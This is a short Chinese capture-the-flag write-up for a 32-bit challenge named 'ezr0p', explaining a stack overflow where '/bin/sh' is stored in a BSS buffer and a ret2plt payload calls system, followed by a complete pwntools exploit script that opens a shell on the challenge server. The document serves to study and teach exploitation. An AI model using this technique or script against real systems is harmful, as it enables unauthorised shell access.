前言
一、题目
二、解题过程
payload的构造
三、exp
总结
前言
一直在做libc的中规中矩的题目,遇到一题有点老的类型的题目有些陌生。但其实其中原理比较简单,但是涉及到/bin/sh获取的常规操作,而自己也没整理过,于是特此发篇笔记
一、题目
读入了超过buf长度的数据,存在栈溢出漏洞;调用了system,可以通过plt调用到该函数
然而需要注意两个buf的差别!!
双击第一个buf
是bss段的全局变量
双击第二个buf
是本函数的局部变量,也就是可以溢出的部分。
——第一个bss可以填充/bin/sh,第二个用于system函数调用
二、解题过程
- 在第一个输入处输入"/bin/sh"
- 构造合适的payload在第二个输入处输入
payload的构造
payload=垃圾数据(+填充ebp)+目标跳转地址+...+参数
我们要调用system,这个可以填写system的plt的地址即可,然而32位参数放在栈上,需要我们构造,需要注意的是,参数不应直接跟在函数(目标函数地址)后面,而应该空开一个字,这是因为调用函数时,参数和ebp被同时压入栈中,而空开的字就是ebp的位置——简单来说,调用函数后,callee会将栈上的内容识别为ebp+参数,获取参数会越过ebp获取。所以我们要空开一个字
三、exp
from pwn import *
from pwn import p32
# io=process("./ezr0p")
io=remote("node1.anna.nssctf.cn",28086)
elf=ELF("./ezr0p")
context(arch="i386",os='linux',log_level='debug')
io.recvuntil(b'name')
io.sendline(b'/bin/sh')
bss_addr=0x804a080
payload=b'a'*(0x1c+4)
payload+=p32(elf.plt['system'])
payload+=b'aaaa'
payload+=p32(bss_addr)
io.sendlineafter(b'time~',payload)
io.interactive()
总结
比较简单,也比较老套,所以更应该记住